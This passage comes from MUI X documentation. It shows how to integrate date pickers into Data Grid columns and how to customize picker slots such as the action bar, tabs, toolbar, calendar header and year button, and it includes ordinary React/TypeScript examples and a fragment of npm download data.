      2261195, 2324734, 2075858, 2297512, 2368925, 2886678, 2543833, 2835623,
      2916036, 2638289, 3050516, 2950882, 3042688, 3290024, 2790747, 3196521,
      3146755, 3562973, 3082832, 3477021,
    ],
    id: 2,
  },
  {
    name: 'react-day-picker',
    monthlyDownloads: [
      264651, 311845, 436558, 439385, 520413, 533380, 562363, 533793, 558029, 791126,
      649082, 566792, 723451, 737827, 890859, 935554, 1044397, 1022973, 1129827,
      1145309, 1195630, 1358925, 1373160, 1172679, 1340106, 1396974, 1623641,
      1687545, 1581634, 1550291, 1718864, 1578447, 1618394, 1697784, 1564166,
      1400088, 1471853, 1730190, 1994936, 1786010, 1713263, 1839730, 1714299,
      1753411, 1885780, 1902870, 1970994, 1762571, 1989425, 2043994, 2476663,
      2151717, 2243360, 2371687, 2046381, 2468153, 2514297, 2660758, 2887687,
      2337575, 2700261, 2873230, 3323961, 3026604, 3244131,
    ],
    id: 3,
  },
  {
    name: 'react-dates',
    monthlyDownloads: [
      251871, 262216, 402383, 396459, 378793, 406720, 447538, 451451, 457111, 589821,
      640744, 504879, 626099, 662007, 754576, 768231, 833019, 851537, 972306,
      1014831, 1027570, 1189068, 1119099, 987244, 1197954, 1310721, 1480816, 1577547,
      1854053, 1791831, 1817336, 1757624, 1859245, 1814024, 1925249, 1867506,
      1892138, 2001963, 2538000, 2327809, 2277795, 2335804, 2278370, 2258587,
      2314794, 2376233, 2315449, 1948923, 2114500, 2208357, 2471023, 2172957,
      2349786, 2481612, 2283701, 2534949, 2351510, 2074785, 2170915, 1882137,
      2087930, 2423606, 3085474, 2656079, 2861712,
    ],
    id: 4,
  },
  {
    name: '@material-ui/pickers',
    monthlyDownloads: [
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 21003, 112544, 223356, 357258,
      427403, 592436, 643442, 652000, 851649, 997585, 1237884, 1323019, 1329075,
      1446751, 1603441, 1605489, 1770242, 1926553, 1957029, 1917431, 2047824,
      2342019, 2952485, 2850314, 2905856, 3145594, 3162610, 3356708, 3574777,
      3581429, 3588626, 3215994, 3209791, 3229263, 3577594, 2982893, 3072732,
      3083998, 2802316, 3345024, 3224987, 2853866, 2931270, 2419496, 2624119,
      2614166, 3072423, 2550430, 2605515,
    ],
    id: 5,
  },
  {
    name: 'react-calendar',
    monthlyDownloads: [
      13671, 16918, 27272, 34315, 42212, 56369, 64241, 77857, 70680, 91093, 108306,
      94734, 132289, 133860, 147706, 158504, 192578, 207173, 220052, 233496, 250091,
      285557, 280329, 262382, 330528, 337111, 398561, 452800, 432857, 452775, 541950,
      481764, 537173, 585916, 573412, 552463, 582320, 665610, 757420, 733958, 731212,
      786886, 793785, 836271, 899076, 950749, 981813, 913076, 1037772, 1111379,
      1372103, 1316354, 1353646, 1436614, 1349791, 1542007, 1549215, 1576125,
      1701436, 1477188, 1756447, 1804657, 2024066, 1802328, 1975321,
    ],
    id: 6,
  },
  {
    name: 'react-datetime',
    monthlyDownloads: [
      474506, 514529, 624998, 634955, 693156, 762051, 822194, 999794, 1028527,
      1264039, 1074500, 874769, 945614, 841453, 859657, 822025, 886668, 810302,
      849949, 872377, 783857, 887114, 789091, 698810, 800283, 789543, 919445,
      1026095, 1130903, 1021922, 971668, 922021, 875551, 849529, 891653, 806460,
      740611, 804504, 1008750, 1080174, 917512, 886872, 874670, 853764, 862825,
      894367, 919854, 807459, 858222, 858151, 967551, 897111, 902405, 944057, 879880,
      1090124, 1081206, 1026493, 1002294, 832895, 955662, 972831, 1166432, 1042367,
      1025499,
    ],
    id: 7,
  },
  {
    name: 'react-date-picker',
    monthlyDownloads: [
      49274, 48553, 64322, 58823, 59113, 66912, 70695, 74530, 66425, 84803, 86193,
      69178, 94987, 89205, 105340, 98078, 112268, 111998, 122224, 127661, 133198,
      138867, 128836, 120011, 158852, 154510, 175291, 197496, 224817, 194683, 220130,
      210720, 233037, 252119, 240970, 233944, 256490, 298853, 340486, 318831, 317291,
      335995, 336665, 343706, 356435, 376861, 379366, 355358, 408157, 425652, 499923,
      471759, 512219, 511044, 470863, 531581, 534128, 531059, 613792, 527997, 594540,
      637346, 788377, 721212, 644692,
    ],
    id: 8,
  },
  {
    name: '@react-spectrum/datepicker',
    monthlyDownloads: [
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 164, 691, 402,
      1239, 1536, 1853, 2163, 4151, 9644, 15667, 16426, 17786, 21804, 21358, 24062,
      30870, 34053, 35400, 37834,
    ],
    id: 9,
  },
];

```

## Date pickers

By default, the Data Grid uses native browser inputs for editing `date` and `dateTime` columns.

While the [MUI X Date and Time Pickers](/x/react-date-pickers/) are not supported by the Data Grid out of the box yet, you can integrate them by creating [custom edit components](/x/react-data-grid/editing/custom-edit-component/) and [custom filter operators](/x/react-data-grid/filtering/customization/#create-a-custom-operator).

The example below uses `@mui/x-date-pickers` for both `date` and `dateTime` column types:

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridColDef,
  GridRowsProp,
  useGridApiContext,
  GridRenderEditCellParams,
  GRID_DATE_COL_DEF,
  GRID_DATETIME_COL_DEF,
  GridColTypeDef,
  GridFilterInputValueProps,
  getGridDateOperators,
} from '@mui/x-data-grid';
import {
  randomCreatedDate,
  randomTraderName,
  randomUpdatedDate,
} from '@mui/x-data-grid-generator';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';
import { enUS as locale } from 'date-fns/locale';
import { format } from 'date-fns/format';
import useEnhancedEffect from '@mui/utils/useEnhancedEffect';
/**
 * `date` column
 */

const dateColumnType: GridColTypeDef<Date, string> = {
  ...GRID_DATE_COL_DEF,
  resizable: false,
  renderEditCell: (params) => {
    return <GridEditDateCell {...params} />;
  },
  filterOperators: getGridDateOperators(false).map((item) => ({
    ...item,
    InputComponent: GridFilterDateInput,
    InputComponentProps: { showTime: false },
  })),
  valueFormatter: (value) => {
    if (value) {
      return format(value, 'MM/dd/yyyy', { locale });
    }
    return '';
  },
};

function GridEditDateCell({
  id,
  field,
  value,
  colDef,
  hasFocus,
}: GridRenderEditCellParams<any, Date | null, string>) {
  const apiRef = useGridApiContext();
  const inputRef = React.useRef<HTMLInputElement>(null);
  const Component = colDef.type === 'dateTime' ? DateTimePicker : DatePicker;

  const handleChange = (newValue: unknown) => {
    apiRef.current.setEditCellValue({ id, field, value: newValue });
  };

  useEnhancedEffect(() => {
    if (hasFocus) {
      inputRef.current!.focus();
    }
  }, [hasFocus]);

  return (
    <Component
      value={value}
      autoFocus
      onChange={handleChange}
      slotProps={{
        textField: {
          inputRef,
          variant: 'standard',
          fullWidth: true,
          sx: {
            padding: '0 9px',
            justifyContent: 'center',
          },
          InputProps: {
            disableUnderline: true,
            sx: { fontSize: 'inherit' },
          },
        },
      }}
    />
  );
}

function GridFilterDateInput(
  props: GridFilterInputValueProps & { showTime?: boolean },
) {
  const { item, showTime, applyValue, apiRef } = props;

  const Component = showTime ? DateTimePicker : DatePicker;

  const handleFilterChange = (newValue: unknown) => {
    applyValue({ ...item, value: newValue });
  };

  return (
    <Component
      value={item.value ? new Date(item.value) : null}
      autoFocus
      label={apiRef.current.getLocaleText('filterPanelInputLabel')}
      slotProps={{ textField: { size: 'small' } }}
      onChange={handleFilterChange}
    />
  );
}

/**
 * `dateTime` column
 */

const dateTimeColumnType: GridColTypeDef<Date, string> = {
  ...GRID_DATETIME_COL_DEF,
  resizable: false,
  renderEditCell: (params) => {
    return <GridEditDateCell {...params} />;
  },
  filterOperators: getGridDateOperators(true).map((item) => ({
    ...item,
    InputComponent: GridFilterDateInput,
    InputComponentProps: { showTime: true },
  })),
  valueFormatter: (value) => {
    if (value) {
      return format(value, 'MM/dd/yyyy hh:mm a', { locale });
    }
    return '';
  },
};

const columns: GridColDef[] = [
  { field: 'name', headerName: 'Name', width: 180, editable: true },
  { field: 'age', headerName: 'Age', type: 'number', editable: true },
  {
    field: 'dateCreated',
    ...dateColumnType,
    headerName: 'Date Created',
    width: 180,
    editable: true,
  },
  {
    field: 'lastLogin',
    ...dateTimeColumnType,
    headerName: 'Last Login',
    width: 230,
    editable: true,
  },
];

export default function EditingWithDatePickers() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <LocalizationProvider dateAdapter={AdapterDateFns} adapterLocale={locale}>
        <DataGrid rows={rows} columns={columns} />
      </LocalizationProvider>
    </div>
  );
}

const rows: GridRowsProp = [
  {
    id: 1,
    name: randomTraderName(),
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 2,
    name: randomTraderName(),
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 3,
    name: randomTraderName(),
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 4,
    name: randomTraderName(),
    age: 28,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
  {
    id: 5,
    name: randomTraderName(),
    age: 23,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
  },
];

```

:::info
You can change the date format by importing different locale (`en-US` locale is used in the example above).
See [Localization](/x/react-date-pickers/localization/) for more information.
:::

## Full example

The demo below shows the most common custom column renderers used across our demos.

:::success
You can copy the column definitions and custom cell renderers from the demo source code.

All column definitions are located in the main component file, while each cell renderer is in a separate file.
:::

```tsx
import {
  randomColor,
  randomEmail,
  randomInt,
  randomName,
  randomArrayItem,
  random,
} from '@mui/x-data-grid-generator';
import {
  DataGrid,
  GridColDef,
  gridStringOrNumberComparator,
} from '@mui/x-data-grid';
import { renderAvatar } from './cell-renderers/avatar';
import { renderEmail } from './cell-renderers/email';
import { renderEditRating, renderRating } from './cell-renderers/rating';
import {
  COUNTRY_ISO_OPTIONS,
  CountryIsoOption,
  renderCountry,
  renderEditCountry,
} from './cell-renderers/country';
import { renderSparkline } from './cell-renderers/sparkline';
import { renderEditProgress, renderProgress } from './cell-renderers/progress';
import {
  renderEditStatus,
  renderStatus,
  STATUS_OPTIONS,
} from './cell-renderers/status';
import {
  INCOTERM_OPTIONS,
  renderEditIncoterm,
  renderIncoterm,
} from './cell-renderers/incoterm';

const columns: GridColDef<(typeof rows)[number]>[] = [
  {
    field: 'name',
    headerName: 'Name',
    width: 120,
    editable: true,
  },
  {
    field: 'avatar',
    headerName: 'Avatar',
    display: 'flex',
    renderCell: renderAvatar,
    valueGetter: (value, row) =>
      row.name == null || row.avatar == null
        ? null
        : { name: row.name, color: row.avatar },
    sortable: false,
    filterable: false,
  } as GridColDef<any, { color: string; name: string }>,
  {
    field: 'email',
    headerName: 'Email',
    renderCell: renderEmail,
    width: 150,
    editable: true,
  },
  {
    field: 'rating',
    headerName: 'Rating',
    display: 'flex',
    renderCell: renderRating,
    renderEditCell: renderEditRating,
    width: 180,
    type: 'number',
    editable: true,
    availableAggregationFunctions: ['avg', 'min', 'max', 'size'],
  },
  {
    field: 'country',
    headerName: 'Country',
    type: 'singleSelect',
    valueOptions: COUNTRY_ISO_OPTIONS,
    valueFormatter: (value: CountryIsoOption) => value?.label,
    renderCell: renderCountry,
    renderEditCell: renderEditCountry,
    sortComparator: (v1, v2, param1, param2) =>
      gridStringOrNumberComparator(v1.label, v2.label, param1, param2),
    width: 150,
    editable: true,
  } as GridColDef<any, CountryIsoOption, string>,
  {
    field: 'salary',
    headerName: 'Salary',
    type: 'number',
    valueFormatter: (value?: number) => {
      if (!value || typeof value !== 'number') {
        return value;
      }
      return `$${value.toLocaleString()}`;
    },
    editable: true,
  },
  {
    field: 'monthlyActivity',
    headerName: 'Monthly activity',
    type: 'custom',
    resizable: false,
    filterable: false,
    sortable: false,
    editable: false,
    groupable: false,
    display: 'flex',
    renderCell: renderSparkline,
    width: 150,
    valueGetter: (value, row) => row.monthlyActivity,
  },
  {
    field: 'budget',
    headerName: 'Budget left',
    renderCell: renderProgress,
    renderEditCell: renderEditProgress,
    availableAggregationFunctions: ['min', 'max', 'avg', 'size'],
    type: 'number',
    width: 120,
    editable: true,
  },
  {
    field: 'status',
    headerName: 'Status',
    renderCell: renderStatus,
    renderEditCell: renderEditStatus,
    type: 'singleSelect',
    valueOptions: STATUS_OPTIONS,
    width: 150,
    editable: true,
  },
  {
    field: 'incoTerm',
    headerName: 'Incoterm',
    renderCell: renderIncoterm,
    renderEditCell: renderEditIncoterm,
    type: 'singleSelect',
    valueOptions: INCOTERM_OPTIONS,
    editable: true,
  },
];

const rows = Array.from({ length: 10 }, (_, index) => ({
  id: index,
  name: randomName({}, {}),
  avatar: randomColor(),
  email: randomEmail(),
  rating: randomInt(1, 5),
  country: randomArrayItem(COUNTRY_ISO_OPTIONS),
  salary: randomInt(35000, 80000),
  monthlyActivity: Array.from({ length: 30 }, () => randomInt(1, 25)),
  budget: random(0, 1).toPrecision(),
  status: randomArrayItem(STATUS_OPTIONS),
  incoTerm: randomArrayItem(INCOTERM_OPTIONS),
}));

export default function CustomColumnFullExample() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-date-pickers/custom-components.md

---
productId: x-date-pickers
title: Date and Time Pickers - Custom slots and subcomponents
components: DateTimePickerTabs, PickersActionBar, DatePickerToolbar, TimePickerToolbar, DateTimePickerToolbar, PickerDay2, DateRangePickerDay2, PickersCalendarHeader, PickersRangeCalendarHeader, PickersShortcuts, DateRangePickerToolbar, MonthCalendar, YearCalendar, DateCalendar
---

# Custom slots and subcomponents

Learn how to override parts of the Date and Time Pickers.

:::info
The components that can be customized are listed under `slots` section in Date and Time Pickers [API Reference](/x/api/date-pickers/).
For example, check [available Date Picker slots](/x/api/date-pickers/date-picker/#slots).
:::

:::success
See [Common concepts—Slots and subcomponents](/x/common-concepts/custom-components/) to learn how to use slots.
:::

## Action bar

### Component props

The action bar is available on all picker components.
By default, it contains no action on desktop, and the actions **Cancel** and **Accept** on mobile.

You can override the actions displayed by passing the `actions` prop to the `actionBar` within `slotProps`, as shown here:

```jsx
<DatePicker
  slotProps={{
    // The actions will be the same between desktop and mobile
    actionBar: {
      actions: ['clear'],
    },
    // The actions will be different between desktop and mobile
    actionBar: ({ pickerVariant }) => ({
      actions: pickerVariant === 'desktop' ? [] : ['clear'],
    }),
  }}
/>
```

In the example below, the action bar contains only one button, which resets the selection to today's date:

```tsx
import dayjs from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';

export default function ActionBarComponentProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        defaultValue={dayjs('2022-04-17')}
        slotProps={{
          actionBar: {
            actions: ['today'],
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

#### Available actions

The built-in `<PickersActionBar />` component supports the following different actions:

| Action         | Behavior                                                                         |
| :------------- | :------------------------------------------------------------------------------- |
| `accept`       | Accept the current value and close the picker view.                              |
| `cancel`       | Reset to the last accepted date and close the picker view.                       |
| `clear`        | Reset to the empty value and close the picker view.                              |
| `next`         | Go to the next step in the value picking process.                                |
| `nextOrAccept` | Shows the `accept` or `next` action depending on the value picking process step. |
| `today`        | Reset to today's date (and time if relevant) and close the picker view.          |

### Component

If you need to customize the date picker beyond the options described above, you can provide a custom component.
This can be used in combination with `slotProps`.

In the example below, the actions are the same as in the section above, but they are rendered inside a menu:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import useId from '@mui/utils/useId';
import Button from '@mui/material/Button';
import Menu from '@mui/material/Menu';
import MenuItem from '@mui/material/MenuItem';
import DialogActions from '@mui/material/DialogActions';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import { PickersActionBarProps } from '@mui/x-date-pickers/PickersActionBar';
import { usePickerContext, usePickerTranslations } from '@mui/x-date-pickers/hooks';

function CustomActionBar(props: PickersActionBarProps) {
  const { actions, className } = props;
  const translations = usePickerTranslations();
  const {
    clearValue,
    setValueToToday,
    acceptValueChanges,
    cancelValueChanges,
    goToNextStep,
    hasNextStep,
  } = usePickerContext();
  const [anchorEl, setAnchorEl] = React.useState<HTMLButtonElement | null>(null);
  const open = Boolean(anchorEl);
  const id = useId();

  if (actions == null || actions.length === 0) {
    return null;
  }

  const menuItems = actions?.map((actionType) => {
    switch (actionType) {
      case 'clear':
        return (
          <MenuItem
            onClick={() => {
              clearValue();
              setAnchorEl(null);
            }}
            key={actionType}
          >
            {translations.clearButtonLabel}
          </MenuItem>
        );
      case 'cancel':
        return (
          <MenuItem
            onClick={() => {
              setAnchorEl(null);
              cancelValueChanges();
            }}
            key={actionType}
          >
            {translations.cancelButtonLabel}
          </MenuItem>
        );
      case 'accept':
        return (
          <MenuItem
            onClick={() => {
              setAnchorEl(null);
              acceptValueChanges();
            }}
            key={actionType}
          >
            {translations.okButtonLabel}
          </MenuItem>
        );
      case 'today':
        return (
          <MenuItem
            onClick={() => {
              setAnchorEl(null);
              setValueToToday();
            }}
            key={actionType}
          >
            {translations.todayButtonLabel}
          </MenuItem>
        );
      case 'next':
        return (
          <MenuItem
            onClick={() => {
              setAnchorEl(null);
              goToNextStep();
            }}
            key={actionType}
          >
            {translations.nextStepButtonLabel}
          </MenuItem>
        );

      case 'nextOrAccept':
        if (hasNextStep) {
          return (
            <MenuItem
              onClick={() => {
                setAnchorEl(null);
                goToNextStep();
              }}
              key={actionType}
            >
              {translations.nextStepButtonLabel}
            </MenuItem>
          );
        }

        return (
          <MenuItem
            onClick={() => {
              setAnchorEl(null);
              acceptValueChanges();
            }}
            key={actionType}
          >
            {translations.okButtonLabel}
          </MenuItem>
        );
      default:
        return null;
    }
  });

  return (
    <DialogActions className={className}>
      <Button
        id={`picker-actions-${id}`}
        aria-controls={open ? 'basic-menu' : undefined}
        aria-haspopup="true"
        aria-expanded={open ? 'true' : undefined}
        onClick={(event) => setAnchorEl(event.currentTarget)}
      >
        Actions
      </Button>
      <Menu
        id="basic-menu"
        anchorEl={anchorEl}
        open={open}
        onClose={() => setAnchorEl(null)}
        MenuListProps={{
          'aria-labelledby': `picker-actions-${id}`,
        }}
      >
        {menuItems}
      </Menu>
    </DialogActions>
  );
}

export default function ActionBarComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        defaultValue={dayjs('2022-04-17')}
        slots={{
          actionBar: CustomActionBar,
        }}
        slotProps={{
          actionBar: {
            actions: ['today'],
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

## Tabs

Tabs are available on all date time picker components.
They let users switch between date and time interfaces.

### Component props

You can override the icons displayed by passing props to the `tabs` within `slotProps`, as shown here:

```jsx
<DateTimePicker
  slotProps={{
    tabs: {
      dateIcon: <LightModeIcon />,
      timeIcon: <AcUnitIcon />,
    },
  }}
/>
```

By default, the tabs are `hidden` on desktop, and `visible` on mobile.
This behavior can be overridden by setting the `hidden` prop:

```jsx
<DateTimePicker
  slotProps={{
    tabs: {
      hidden: false,
    },
  }}
/>
```

### Component

If you need to customize the date time picker beyond the options described above, you can provide a custom component.
This can be used in combination with `slotProps`.

In the example below, the tabs are using different icons and have an additional component:

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import Box from '@mui/material/Box';
import { StaticDateTimePicker } from '@mui/x-date-pickers/StaticDateTimePicker';
import {
  DateTimePickerTabs,
  DateTimePickerTabsProps,
} from '@mui/x-date-pickers/DateTimePicker';
import LightModeIcon from '@mui/icons-material/LightMode';
import AcUnitIcon from '@mui/icons-material/AcUnit';

function CustomTabs(props: DateTimePickerTabsProps) {
  return (
    <React.Fragment>
      <DateTimePickerTabs {...props} />
      <Box sx={{ backgroundColor: 'blueviolet', height: 5 }} />
    </React.Fragment>
  );
}

export default function Tabs() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDateTimePicker
        defaultValue={dayjs('2022-04-17')}
        slots={{ tabs: CustomTabs }}
        slotProps={{
          tabs: {
            hidden: false,
            dateIcon: <LightModeIcon />,
            timeIcon: <AcUnitIcon />,
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

## Toolbar

The toolbar is available on all date time picker components.
It displays the current values and lets users switch between different views.

### Component props

You can customize how the toolbar displays the current value with `toolbarFormat`.
By default, empty values are replaced by `__`.
This can be modified by using `toolbarPlaceholder` props.

By default, the toolbar is `hidden` on desktop, and `visible` on mobile.
This behavior can be overridden by setting the `hidden` prop:

```jsx
<DatePicker
  slotProps={{
    toolbar: {
      // Customize value display
      toolbarFormat: 'YYYY',
      // Change what is displayed given an empty value
      toolbarPlaceholder: '??',
      // Show the toolbar
      hidden: false,
    },
  }}
/>
```

### Component

Each component comes with its own toolbar (`DatePickerToolbar`, `TimePickerToolbar`, and `DateTimePickerToolbar`) that you can reuse and customize.

```tsx
import dayjs from 'dayjs';
import Box from '@mui/material/Box';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
import RocketLaunchIcon from '@mui/icons-material/RocketLaunch';
import {
  DatePickerToolbar,
  DatePickerToolbarProps,
} from '@mui/x-date-pickers/DatePicker';

function CustomToolbar(props: DatePickerToolbarProps) {
  return (
    <Box
      // Pass the className to the root element to get correct layout
      className={props.className}
      sx={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between' }}
    >
      <DatePickerToolbar {...props} />
      <RocketLaunchIcon fontSize="large" sx={{ m: 5 }} />
    </Box>
  );
}

export default function ToolbarComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <StaticDatePicker
        defaultValue={dayjs('2022-04-17')}
        slots={{
          toolbar: CustomToolbar,
        }}
        slotProps={{
          toolbar: {
            toolbarFormat: 'YYYY',
            toolbarPlaceholder: '??',
          },
          actionBar: {
            actions: ['clear'],
          },
        }}
      />
    </LocalizationProvider>
  );
}

```

## Calendar header

The calendar header is available on any component that renders a calendar to select a date or a range of dates.
It lets users navigate through months and switch to the month and year views when available.

### Component props

You can pass props to the calendar header as shown below:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function CalendarHeaderComponentProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar
          slotProps={{ calendarHeader: { sx: { border: '1px red solid' } } }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Component

You can pass a custom component to replace the header, as shown below:

```tsx
import { styled } from '@mui/material/styles';
import Typography from '@mui/material/Typography';
import Stack from '@mui/material/Stack';
import IconButton from '@mui/material/IconButton';
import ChevronLeft from '@mui/icons-material/ChevronLeft';
import ChevronRight from '@mui/icons-material/ChevronRight';
import KeyboardDoubleArrowLeftIcon from '@mui/icons-material/KeyboardDoubleArrowLeft';
import KeyboardDoubleArrowRightIcon from '@mui/icons-material/KeyboardDoubleArrowRight';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { PickersCalendarHeaderProps } from '@mui/x-date-pickers/PickersCalendarHeader';

const CustomCalendarHeaderRoot = styled('div')({
  display: 'flex',
  justifyContent: 'space-between',
  padding: '8px 16px',
  alignItems: 'center',
});

function CustomCalendarHeader(props: PickersCalendarHeaderProps) {
  const { currentMonth, onMonthChange } = props;

  const selectNextMonth = () => onMonthChange(currentMonth.add(1, 'month'));
  const selectNextYear = () => onMonthChange(currentMonth.add(1, 'year'));
  const selectPreviousMonth = () => onMonthChange(currentMonth.subtract(1, 'month'));
  const selectPreviousYear = () => onMonthChange(currentMonth.subtract(1, 'year'));

  return (
    <CustomCalendarHeaderRoot>
      <Stack spacing={1} direction="row">
        <IconButton onClick={selectPreviousYear} title="Previous year">
          <KeyboardDoubleArrowLeftIcon />
        </IconButton>
        <IconButton onClick={selectPreviousMonth} title="Previous month">
          <ChevronLeft />
        </IconButton>
      </Stack>
      <Typography variant="body2">{currentMonth.format('MMMM YYYY')}</Typography>
      <Stack spacing={1} direction="row">
        <IconButton onClick={selectNextMonth} title="Next month">
          <ChevronRight />
        </IconButton>
        <IconButton onClick={selectNextYear} title="Next year">
          <KeyboardDoubleArrowRightIcon />
        </IconButton>
      </Stack>
    </CustomCalendarHeaderRoot>
  );
}

export default function CalendarHeaderComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar slots={{ calendarHeader: CustomCalendarHeader }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

When used with a date range component,
you receive three additional props to let you handle scenarios where multiple months are rendered:

- `calendars`: The number of calendars rendered
- `month`: The month used for the header being rendered
- `monthIndex`: The index of the month used for the header being rendered

The demo below shows how to navigate the months two by two:

```tsx
import { styled } from '@mui/material/styles';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import ChevronLeft from '@mui/icons-material/ChevronLeft';
import ChevronRight from '@mui/icons-material/ChevronRight';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateRangeCalendar } from '@mui/x-date-pickers-pro/DateRangeCalendar';
import { PickersRangeCalendarHeaderProps } from '@mui/x-date-pickers-pro/PickersRangeCalendarHeader';

const CustomCalendarHeaderRoot = styled('div')({
  display: 'flex',
  justifyContent: 'space-between',
  padding: '8px 16px',
  alignItems: 'center',
});

function CustomCalendarHeader(props: PickersRangeCalendarHeaderProps) {
  const { currentMonth, onMonthChange, month, calendars, monthIndex } = props;

  const selectNextMonth = () => onMonthChange(currentMonth.add(calendars, 'month'));
  const selectPreviousMonth = () =>
    onMonthChange(currentMonth.subtract(calendars, 'month'));

  return (
    <CustomCalendarHeaderRoot>
      <IconButton
        onClick={selectPreviousMonth}
        sx={[
          monthIndex === 0
            ? {
                visibility: null,
              }
            : {
                visibility: 'hidden',
              },
        ]}
        title={`Previous ${calendars} month${calendars === 1 ? '' : 's'}`}
      >
        <ChevronLeft />
      </IconButton>
      <Typography>{month.format('MMMM YYYY')}</Typography>
      <IconButton
        onClick={selectNextMonth}
        sx={[
          monthIndex === calendars - 1
            ? {
                visibility: null,
              }
            : {
                visibility: 'hidden',
              },
        ]}
        title={`Next ${calendars} month${calendars === 1 ? '' : 's'}`}
      >
        <ChevronRight />
      </IconButton>
    </CustomCalendarHeaderRoot>
  );
}

export default function CalendarHeaderComponentRange() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateRangeCalendar']}>
        <DateRangeCalendar slots={{ calendarHeader: CustomCalendarHeader }} />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Year button

This button lets users change the selected year in the `year` view.

### Component props

You can pass props to the year button as shown below:

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function YearButtonComponentProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar
          openTo="year"
          slotProps={{
            yearButton: {
              sx: {
                color: '#1565c0',
                borderRadius: '2px',
                borderColor: '#2196f3',
                border: '1px solid',
                backgroundColor: '#90caf9',
              },
            },
          }}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Component

You can pass a custom component to replace the year button, as shown below:

```tsx
import { styled } from '@mui/material/styles';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

const CustomYearButton = styled('button')({
  height: 36,
  width: 72,
});

export default function YearButtonComponent() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar slots={{ yearButton: CustomYearButton }} openTo="year" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Day

:::info
The examples below use the new components, which might need further changes on your side to adjust to the new structure.

Be sure to check that any custom styling configuration is compatible with the new structure.
:::

The `day` slot lets users change the selected day in the calendar.

